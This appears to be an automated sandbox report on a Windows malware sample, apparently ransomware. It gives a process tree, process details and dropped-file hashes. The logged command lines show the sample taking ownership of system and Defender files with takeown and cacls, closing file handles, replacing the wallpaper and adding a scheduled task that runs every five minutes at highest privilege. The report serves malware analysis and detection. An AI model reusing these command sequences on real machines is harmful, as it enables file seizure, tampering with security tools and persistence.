ffb44b8d...1aa0

Process Overview

»

ID	PID	Monitor Reason	Integrity Level	Image Name	Command Line	Origin ID
#1	0xfc8	Analysis Target	High (Elevated)	m.exe	"C:\Users\FD1HVy\Desktop\m.exe"	-
#3	0xe9c	Child Process	High (Elevated)	cmd.exe	"C:\WINDOWS\system32\cmd.exe" /C copy /V /Y "C:\Users\FD1HVy\Desktop\m.exe" "C:\Users\FD1HVy\Desktop\NWqZQdpD.exe"	#1
#5	0xc58	Child Process	High (Elevated)	nwqzqdpd.exe	"C:\Users\FD1HVy\Desktop\NWqZQdpD.exe" -n	#1
#7	0x10fc	Child Process	High (Elevated)	cmd.exe	"C:\WINDOWS\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\FD1HVy\AppData\Roaming\GJhtEkh2.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f	#1
#8	0x1104	Child Process	High (Elevated)	cmd.exe	"C:\WINDOWS\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\FD1HVy\AppData\Roaming\eapzhiWZ.vbs"	#1
#11	0x1194	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.db""	#1
#13	0x11d4	Child Process	High (Elevated)	reg.exe	reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\FD1HVy\AppData\Roaming\GJhtEkh2.bmp" /f	#7
#14	0x11dc	Child Process	High (Elevated)	wscript.exe	wscript //B //Nologo "C:\Users\FD1HVy\AppData\Roaming\eapzhiWZ.vbs"	#8
#15	0x1200	Child Process	High (Elevated)	reg.exe	reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f	#7
#16	0x1208	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db""	#1
#18	0x1234	Child Process	High (Elevated)	cacls.exe	cacls "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.db" /E /G FD1HVy:F /C	#11
#19	0x1250	Child Process	High (Elevated)	reg.exe	reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f	#7
#20	0x1264	Child Process	High (Elevated)	cacls.exe	cacls "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db" /E /G FD1HVy:F /C	#16
#21	0x12e0	Child Process	High (Elevated)	takeown.exe	takeown /F "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db"	#16
#22	0x12e8	Child Process	High (Elevated)	takeown.exe	takeown /F "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.db"	#11
#23	0x1304	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets""	#1
#25	0x1314	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c mxkeFu6a.exe -accepteula "qmgr.db" -nobanner	#11
#26	0x1344	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c mxkeFu6a.exe -accepteula "SmsInterceptStore.db" -nobanner	#16
#27	0x136c	Child Process	High (Elevated)	mxkefu6a.exe	mxkeFu6a.exe -accepteula "qmgr.db" -nobanner	#25
#28	0x1378	Child Process	High (Elevated)	mxkefu6a.exe	mxkeFu6a.exe -accepteula "SmsInterceptStore.db" -nobanner	#26
#29	0x138c	Child Process	High (Elevated)	cacls.exe	cacls "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets" /E /G FD1HVy:F /C	#23
#30	0x13a0	Child Process	High (Elevated)	takeown.exe	takeown /F "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets"	#23
#31	0x13cc	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Mail\wab.exe""	#1
#33	0x13f4	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c mxkeFu6a.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner	#23
#34	0x4c8	Child Process	High (Elevated)	cacls.exe	cacls "C:\Program Files\Windows Mail\wab.exe" /E /G FD1HVy:F /C	#31
#35	0xd04	Child Process	High (Elevated)	mxkefu6a.exe	mxkeFu6a.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner	#33
#36	0xed0	Child Process	High (Elevated)	takeown.exe	takeown /F "C:\Program Files\Windows Mail\wab.exe"	#31
#37	0x106c	Child Process	High (Elevated)	mxkefu6a64.exe	mxkeFu6a.exe -accepteula "SmsInterceptStore.db" -nobanner	#28
#38	0x1088	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Security\vt mapping.exe""	#1
#40	0x390	Child Process	High (Elevated)	mxkefu6a.exe	mxkeFu6a.exe -accepteula -c Run -y -p extract -nobanner	#23
#41	0xce0	Child Process	High (Elevated)	mxkefu6a.exe	mxkeFu6a.exe -accepteula -c Run -y -p extract -nobanner	#11
#42	0x4	Created Daemon	System (Elevated)	System	-	#37
#43	0x144	Child Process	System (Elevated)	smss.exe	\SystemRoot\System32\smss.exe	-
#44	0x19c	Child Process	System (Elevated)	csrss.exe	%SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16	#43
#45	0x1ec	Child Process	System (Elevated)	wininit.exe	wininit.exe	#43
#46	0x1f8	Child Process	System (Elevated)	csrss.exe	%SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16	#43
#47	0x234	Child Process	System (Elevated)	winlogon.exe	winlogon.exe	#43
#48	0x250	Child Process	System (Elevated)	services.exe	C:\WINDOWS\system32\services.exe	#45
#49	0x258	Child Process	System (Elevated)	lsass.exe	C:\WINDOWS\system32\lsass.exe	#45
#50	0x2b4	Child Process	System (Elevated)	svchost.exe	C:\WINDOWS\system32\svchost.exe -k DcomLaunch	#48
#51	0x2c0	Child Process	Low	fontdrvhost.exe	"fontdrvhost.exe"	#47
#52	0x2c8	Child Process	Low	fontdrvhost.exe	"fontdrvhost.exe"	#45
#53	0x318	Child Process	System (Elevated)	svchost.exe	C:\WINDOWS\system32\svchost.exe -k RPCSS	#48
#54	0x374	Child Process	System (Elevated)	dwm.exe	"dwm.exe"	#47
#55	0x3c0	Child Process	System (Elevated)	svchost.exe	C:\WINDOWS\system32\svchost.exe -k netsvcs	#48
#56	0x3d0	Child Process	System (Elevated)	svchost.exe	C:\WINDOWS\system32\svchost.exe -k LocalServiceNoNetwork	#48
#57	0x3f4	Child Process	System (Elevated)	svchost.exe	C:\WINDOWS\System32\svchost.exe -k LocalServiceNetworkRestricted	#48
#58	0x12c	Child Process	System (Elevated)	svchost.exe	C:\WINDOWS\System32\svchost.exe -k LocalSystemNetworkRestricted	#48
#59	0x170	Child Process	System (Elevated)	svchost.exe	C:\WINDOWS\system32\svchost.exe -k LocalService	#48
#60	0x480	Child Process	System (Elevated)	svchost.exe	C:\WINDOWS\System32\svchost.exe -k NetworkService	#48
#61	0x4fc	Child Process	System (Elevated)	svchost.exe	C:\WINDOWS\System32\svchost.exe -k LocalServiceNetworkRestricted	#48
#62	0x530	Child Process	System (Elevated)	svchost.exe	C:\WINDOWS\System32\svchost.exe -k LocalServiceNetworkRestricted	#48
#63	0x538	Child Process	System (Elevated)	svchost.exe	C:\WINDOWS\system32\svchost.exe -k LocalServiceNetworkRestricted	#48
#64	0x5c4	Child Process	System (Elevated)	spoolsv.exe	C:\WINDOWS\System32\spoolsv.exe	#48
#65	0x5f0	Child Process	System (Elevated)	svchost.exe	C:\WINDOWS\system32\svchost.exe -k appmodel	#48
#66	0x684	Child Process	System (Elevated)	svchost.exe	C:\WINDOWS\system32\svchost.exe -k wsappx	#48
#67	0x6a4	Child Process	System (Elevated)	audiodg.exe	C:\WINDOWS\system32\AUDIODG.EXE 0x3a0	#61
#68	0x6fc	Child Process	Medium	sihost.exe	sihost.exe	#55
#69	0x718	Child Process	Medium	svchost.exe	C:\WINDOWS\system32\svchost.exe -k UnistackSvcGroup	#48
#70	0x7ac	Child Process	Medium	taskhostw.exe	taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}	#55
#71	0x7f4	Child Process	System (Elevated)	officeclicktorun.exe	"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service	#48
#72	0x55c	Child Process	System (Elevated)	securityhealthservice.exe	C:\WINDOWS\system32\SecurityHealthService.exe	#48
#73	0x860	Child Process	Medium	explorer.exe	C:\WINDOWS\Explorer.EXE	#47
#74	0x8bc	Child Process	System (Elevated)	Memory Compression	-	#42
#75	0xb50	Child Process	Low	shellexperiencehost.exe	"C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca	#50
#76	0xb58	Child Process	Low	searchui.exe	"C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca	#50
#77	0xbf4	Child Process	Medium	runtimebroker.exe	C:\Windows\System32\RuntimeBroker.exe -Embedding	#50
#78	0xe04	Child Process	System (Elevated)	wmiprvse.exe	C:\WINDOWS\system32\wbem\wmiprvse.exe -secured -Embedding	#50
#79	0xf6c	Child Process	Medium	taskhostw.exe	taskhostw.exe Logon	#55
#80	0xfa0	Child Process	System (Elevated)	devicecensus.exe	C:\WINDOWS\system32\devicecensus.exe	#55
#81	0xfac	Child Process	Medium	apphostregistrationverifier.exe	C:\WINDOWS\system32\AppHostRegistrationVerifier.exe	#55
#82	0x4d8	Child Process	Medium	entering.exe	"C:\Program Files (x86)\Windows Mail\entering.exe"	#73
#83	0x388	Child Process	Medium	anne measurement nut.exe	"C:\Program Files (x86)\Reference Assemblies\anne measurement nut.exe"	#73
#84	0xcb8	Child Process	Medium	marilyn_becoming_editors.exe	"C:\Program Files (x86)\MSBuild\marilyn_becoming_editors.exe"	#73
#85	0x7f0	Child Process	Medium	divorce mode twelve.exe	"C:\Program Files (x86)\Internet Explorer\divorce mode twelve.exe"	#73
#86	0xcd8	Child Process	Medium	convertible-suicide-construction.exe	"C:\Program Files\UNP\convertible-suicide-construction.exe"	#73
#87	0xcf0	Child Process	Medium	mas.exe	"C:\Program Files (x86)\Internet Explorer\mas.exe"	#73
#88	0xcec	Child Process	Medium	flashing_gcc_little.exe	"C:\Program Files (x86)\WindowsPowerShell\flashing_gcc_little.exe"	#73
#89	0x658	Child Process	Medium	americannumberssubstance.exe	"C:\Program Files (x86)\Windows Portable Devices\americannumberssubstance.exe"	#73
#90	0xa8c	Child Process	Medium	stupid-jeffrey-investors.exe	"C:\Program Files (x86)\Microsoft Office\stupid-jeffrey-investors.exe"	#73
#91	0xd48	Child Process	Medium	successfully.exe	"C:\Program Files (x86)\WindowsPowerShell\successfully.exe"	#73
#92	0x90c	Child Process	Medium	does.exe	"C:\Program Files\rempl\does.exe"	#73
#93	0xc30	Child Process	Medium	chocolate.exe	"C:\Program Files (x86)\Windows Mail\chocolate.exe"	#73
#94	0xd5c	Child Process	Medium	gnu.exe	"C:\Program Files\Windows Media Player\gnu.exe"	#73
#95	0xd10	Child Process	Medium	superbguilty.exe	"C:\Program Files (x86)\Windows Photo Viewer\superbguilty.exe"	#73
#96	0xd18	Child Process	Medium	daddy.exe	"C:\Program Files\Reference Assemblies\daddy.exe"	#73
#97	0xdcc	Child Process	Medium	vt mapping.exe	"C:\Program Files\Windows Security\vt mapping.exe"	#73
#98	0xa5c	Child Process	Medium	primarily-walk.exe	"C:\Program Files (x86)\Adobe\primarily-walk.exe"	#73
#99	0xbec	Child Process	Medium	hungary.exe	"C:\Program Files (x86)\WindowsPowerShell\hungary.exe"	#73
#100	0x2ac	Child Process	Medium	maternity.exe	"C:\Program Files (x86)\Windows Media Player\maternity.exe"	#73
#101	0xdb4	Child Process	Medium	telephony_assumption_pharmacies.exe	"C:\Program Files (x86)\Windows Mail\telephony_assumption_pharmacies.exe"	#73
#103	0x86c	Child Process	System (Elevated)	svchost.exe	C:\WINDOWS\system32\svchost.exe -k LocalServiceAndNoImpersonation	#48
#104	0xefc	Child Process	System (Elevated)	compattelrunner.exe	C:\WINDOWS\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW	#58
#106	0x1064	Child Process	System (Elevated)	trustedinstaller.exe	C:\WINDOWS\servicing\TrustedInstaller.exe	#48
#107	0x11c4	Child Process	System (Elevated)	sppsvc.exe	C:\WINDOWS\system32\sppsvc.exe	#48
#108	0x1288	Child Process	System (Elevated)	wmiprvse.exe	C:\WINDOWS\system32\wbem\wmiprvse.exe -Embedding	#50
#109	0x1328	Child Process	System (Elevated)	taskhostw.exe	taskhostw.exe -RegisterDevice -SettingChange -Full	#55
#110	0x1398	Child Process	Medium	dllhost.exe	C:\WINDOWS\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}	#50
#111	0x10cc	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets""	#1
#112	0xa9c	Child Process	Medium	dllhost.exe	C:\WINDOWS\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}	#50
#114	0xeb4	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Defender Advanced Threat Protection\en-US\MsSense.exe.mui""	#1
#116	0x1124	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui""	#1
#118	0xf98	Child Process	High (Elevated)	cacls.exe	cacls "C:\Program Files\Windows Security\vt mapping.exe" /E /G FD1HVy:F /C	#38
#119	0x1204	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Java\jre1.8.0_144\bin\server\classes.jsa""	#1
#121	0x1244	Child Process	High (Elevated)	mxkefu6a.exe	mxkeFu6a.exe -accepteula -c -y -p handles -nobanner	#16
#122	0xf78	Child Process	High (Elevated)	cacls.exe	cacls "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets" /E /G FD1HVy:F /C	#111
#123	0x1100	Child Process	High (Elevated)	cacls.exe	cacls "C:\Program Files\Windows Defender Advanced Threat Protection\en-US\MsSense.exe.mui" /E /G FD1HVy:F /C	#114
#124	0x1158	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c mxkeFu6a.exe -accepteula "wab.exe" -nobanner	#31
#125	0x10a8	Child Process	High (Elevated)	cacls.exe	cacls "C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui" /E /G FD1HVy:F /C	#116
#126	0x1264	Child Process	High (Elevated)	mxkefu6a.exe	mxkeFu6a.exe -accepteula "wab.exe" -nobanner	#124
#127	0x12e4	Child Process	High (Elevated)	mxkefu6a64.exe	mxkeFu6a.exe -accepteula -c -y -p handles -nobanner	#121
#128	0xe60	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\rempl\does.exe""	#1
#130	0xd64	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Mail\en-US\WinMail.exe.mui""	#1
#132	0xef4	Child Process	High (Elevated)	mxkefu6a.exe	mxkeFu6a.exe -accepteula -c Run -y -p extract -nobanner	#31
#133	0x1388	Child Process	High (Elevated)	cacls.exe	cacls "C:\Program Files\Java\jre1.8.0_144\bin\server\classes.jsa" /E /G FD1HVy:F /C	#119
#134	0xcc0	Child Process	Medium	dllhost.exe	C:\WINDOWS\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}	#50
#135	0x1390	Child Process	High (Elevated)	cmd.exe	"C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\FD1HVy\AppData\Roaming\V1nQ8f0P.bat" /sc minute /mo 5 /RL HIGHEST /F	#14
#136	0x138c	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Mail\en-US\msoeres.dll.mui""	#1
#139	0xee8	Child Process	High (Elevated)	takeown.exe	takeown /F "C:\Program Files\Windows Security\vt mapping.exe"	#38
#140	0xed0	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Security\BrowserCore\manifest.json""	#1
#142	0x13fc	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Security\BrowserCore\en-US\BrowserCore.exe.mui""	#1
#143	0x136c	Child Process	System (Elevated)	wmiadap.exe	wmiadap.exe /F /T /R	#55
#145	0x13c4	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Mail\wabmig.exe""	#1
#146	0x1398	Child Process	High (Elevated)	cacls.exe	cacls "C:\Program Files\rempl\does.exe" /E /G FD1HVy:F /C	#128
#148	0x121c	Child Process	High (Elevated)	schtasks.exe	schtasks /Create /tn DSHCA /tr "C:\Users\FD1HVy\AppData\Roaming\V1nQ8f0P.bat" /sc minute /mo 5 /RL HIGHEST /F	#135
#149	0x11b0	Child Process	High (Elevated)	cacls.exe	cacls "C:\Program Files\Windows Mail\en-US\WinMail.exe.mui" /E /G FD1HVy:F /C	#130
#150	0x1334	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\UNP\convertible-suicide-construction.exe""	#1
#152	0x11a0	Child Process	High (Elevated)	takeown.exe	takeown /F "C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui"	#116
#153	0xef8	Child Process	High (Elevated)	takeown.exe	takeown /F "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets"	#111
#154	0x1340	Child Process	High (Elevated)	takeown.exe	takeown /F "C:\Program Files\Windows Defender Advanced Threat Protection\en-US\MsSense.exe.mui"	#114
#155	0xedc	Child Process	High (Elevated)	cacls.exe	cacls "C:\Program Files\Windows Mail\en-US\msoeres.dll.mui" /E /G FD1HVy:F /C	#136
#156	0xe1c	Child Process	High (Elevated)	cacls.exe	cacls "C:\Program Files\Windows Security\BrowserCore\manifest.json" /E /G FD1HVy:F /C	#140
#157	0xe04	Child Process	High (Elevated)	cacls.exe	cacls "C:\Program Files\Windows Security\BrowserCore\en-US\BrowserCore.exe.mui" /E /G FD1HVy:F /C	#142
#158	0x1330	Child Process	High (Elevated)	cacls.exe	cacls "C:\Program Files\Windows Mail\wabmig.exe" /E /G FD1HVy:F /C	#145
#159	0x1380	Child Process	High (Elevated)	cacls.exe	cacls "C:\Program Files\UNP\convertible-suicide-construction.exe" /E /G FD1HVy:F /C	#150
#160	0x106c	Child Process	High (Elevated)	takeown.exe	takeown /F "C:\Program Files\rempl\does.exe"	#128
#161	0x1344	Child Process	Medium	dllhost.exe	C:\WINDOWS\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}	#50
#162	0x910	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Mail\WinMail.exe""	#1
#164	0x12ec	Child Process	High (Elevated)	takeown.exe	takeown /F "C:\Program Files\Java\jre1.8.0_144\bin\server\classes.jsa"	#119
#165	0x11f8	Child Process	High (Elevated)	takeown.exe	takeown /F "C:\Program Files\Windows Mail\en-US\WinMail.exe.mui"	#130
#166	0x10fc	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c mxkeFu6a.exe -accepteula "vt mapping.exe" -nobanner	#38
#167	0xc38	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\SYSTEM32\cmd.exe /c "C:\Users\FD1HVy\AppData\Roaming\V1nQ8f0P.bat"	#55
#168	0x134c	Child Process	System (Elevated)	wmiprvse.exe	C:\WINDOWS\system32\wbem\wmiprvse.exe -secured -Embedding	#50
#169	0xfac	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe""	#1
#170	0x13c0	Child Process	High (Elevated)	takeown.exe	takeown /F "C:\Program Files\Windows Mail\en-US\msoeres.dll.mui"	#136
#172	0xaec	Child Process	High (Elevated)	takeown.exe	takeown /F "C:\Program Files\Windows Security\BrowserCore\manifest.json"	#140
#173	0x10c4	Child Process	High (Elevated)	mxkefu6a.exe	mxkeFu6a.exe -accepteula "vt mapping.exe" -nobanner	#166
#174	0x10a8	Child Process	High (Elevated)	takeown.exe	takeown /F "C:\Program Files\Windows Security\BrowserCore\en-US\BrowserCore.exe.mui"	#142
#175	0x1100	Child Process	High (Elevated)	cmd.exe	"C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA	#14
#176	0x490	Child Process	High (Elevated)	takeown.exe	takeown /F "C:\Program Files\Windows Mail\wabmig.exe"	#145
#178	0x13e0	Child Process	High (Elevated)	mxkefu6a64.exe	mxkeFu6a.exe -accepteula "vt mapping.exe" -nobanner	#173
#179	0x13cc	Child Process	High (Elevated)	cacls.exe	cacls "C:\Program Files\Windows Mail\WinMail.exe" /E /G FD1HVy:F /C	#162
#180	0x1268	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui""	#1
#181	0x120c	Child Process	High (Elevated)	takeown.exe	takeown /F "C:\Program Files\UNP\convertible-suicide-construction.exe"	#150
#183	0x11cc	Child Process	High (Elevated)	cacls.exe	cacls "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe" /E /G FD1HVy:F /C	#169
#184	0xce8	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Defender Advanced Threat Protection\SenseSampleUploader.exe""	#1
#187	0x1350	Child Process	High (Elevated)	schtasks.exe	schtasks /Run /I /tn DSHCA	#175
#188	0xe10	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Security\BrowserCore\BrowserCore.exe""	#1
#190	0x9c0	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c mxkeFu6a.exe -accepteula "MsSense.exe.mui" -nobanner	#114
#191	0xf8c	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c mxkeFu6a.exe -accepteula "Workflow.Targets" -nobanner	#111
#192	0xf58	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c mxkeFu6a.exe -accepteula "PhotoAcq.dll.mui" -nobanner	#116
#193	0xf30	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Photo Viewer\en-US\ImagingDevices.exe.mui""	#1
#195	0x11f8	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Defender Advanced Threat Protection\SenseCncProxy.exe""	#1
#197	0x1348	Child Process	High (Elevated)	cmd.exe	C:\WINDOWS\system32\cmd.exe /c mxkeFu6a.exe -accepteula "does.exe" -nobanner	#128
#198	0x1394	Child Process	High (Elevated)	mxkefu6a.exe	mxkeFu6a.exe -accepteula -c -y -p handles -nobanner	#38
#199	0x4bc	Child Process	High (Elevated)	cacls.exe	cacls "C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui" /E /G FD1HVy:F /C	#180
#200	0xaec	Child Process	High (Elevated)	mxkefu6a.exe	mxkeFu6a.exe -accepteula "MsSense.exe.mui" -nobanner	#190
#201	0x1278	Child Process	High (Elevated)	mxkefu6a.exe	mxkeFu6a.exe -accepteula "Workflow.Targets" -nobanner	#191
#202	0x1390	Child Process	High (Elevated)	mxkefu6a.exe	mxkeFu6a.exe -accepteula "PhotoAcq.dll.mui" -nobanner	#192
#203	0x344	Child Process	System (Elevated)	mpcmdrun.exe	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	#57
#204	0x11e0	Child Process	Medium	dllhost.exe	C:\WINDOWS\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}	#50

Process #1: m.exe

43074

36

»

Information	Value
ID	#1
File Name	c:\users\fd1hvy\desktop\m.exe
Command Line	"C:\Users\FD1HVy\Desktop\m.exe"
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:01:01, Reason: Analysis Target
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:03:24

OS Process Information

»

Information	Value
PID	0xfc8
Parent PID	0x860 (c:\windows\explorer.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x E98 0x CC4 0x DBC 0x F2C 0x 105C 0x 10DC 0x 10E0 0x 10F8 0x 110C 0x 1110 0x 1128 0x 1140 0x 1148 0x 114C 0x 1154 0x 1164 0x 1168 0x 1178 0x 1188 0x 118C 0x 119C 0x 11A8

Dropped Files

»

Filename	File Size	Hash Values	Actions
C:\Users\FD1HVy\Desktop\mxkeFu6a.exe	181.13 KB	MD5: 2f5b509929165fc13ceab9393c3b911d SHA1: b016316132a6a277c5d8a4d7f3d6e2c769984052 SHA256: 0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4 SSDeep: 3072:hnQr0ryqPlGGyPAPNIfG+QWx5sOjw9i8yxulNpsl/DXHcd6Gu9XQBYWW7tpT6azN:hnf71rClQWjNw9i+psR3g6G4SLILT6aR	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\eapzhiWZ.vbs	0.25 KB	MD5: a03321a103373fe3df5dfff32f9aed63 SHA1: cda210581de9bac0376aa4fb75055b233eadf9c8 SHA256: 776e6ef8cf05aa4bedfb495f69c2e5f9619ccc2ad0a9ac84ddf9adf17b19bc78 SSDeep: 6:LBiPCQLBB4FaKEjoNxiaZ5GAY7QsryviNLBB4OwMVR:LwPCQL34FaKaovNHp7sryviNL34OxVR	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\storage\permanent\chrome\idb\2918063365piupsah.sqlite	49.38 KB	MD5: f9e8a5ff6f6cf2b848c274503c048d2d SHA1: 70dfc010a4a8cbf69b634af7f5c475bed1a5f151 SHA256: 0b6f43ea28d2adbb8199ca465a4a6686a465c2928bb3328181bdd460a71c9874 SSDeep: 768:yACOu557owUCYJ0q3eJws53SwQAOLpcu2WsO:5jCS0iIws5C8ezKO	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\webappsstore.sqlite	97.38 KB	MD5: e494e464ddeb0c4c64b195b4a330ef71 SHA1: 5fe9e093566bbee763a99d02258d6a2c2e842bdb SHA256: 9d281221d10edb1fa06ffb02300fb9ad0703b3e2fd592767d27ea5dba10c7821 SSDeep: 768:ICscSG9XeXvfppnc+IasjYm2PTdVENCscSLzO:ICscxtUppc+1T2CscgzO	... File Actions Show Properties Download
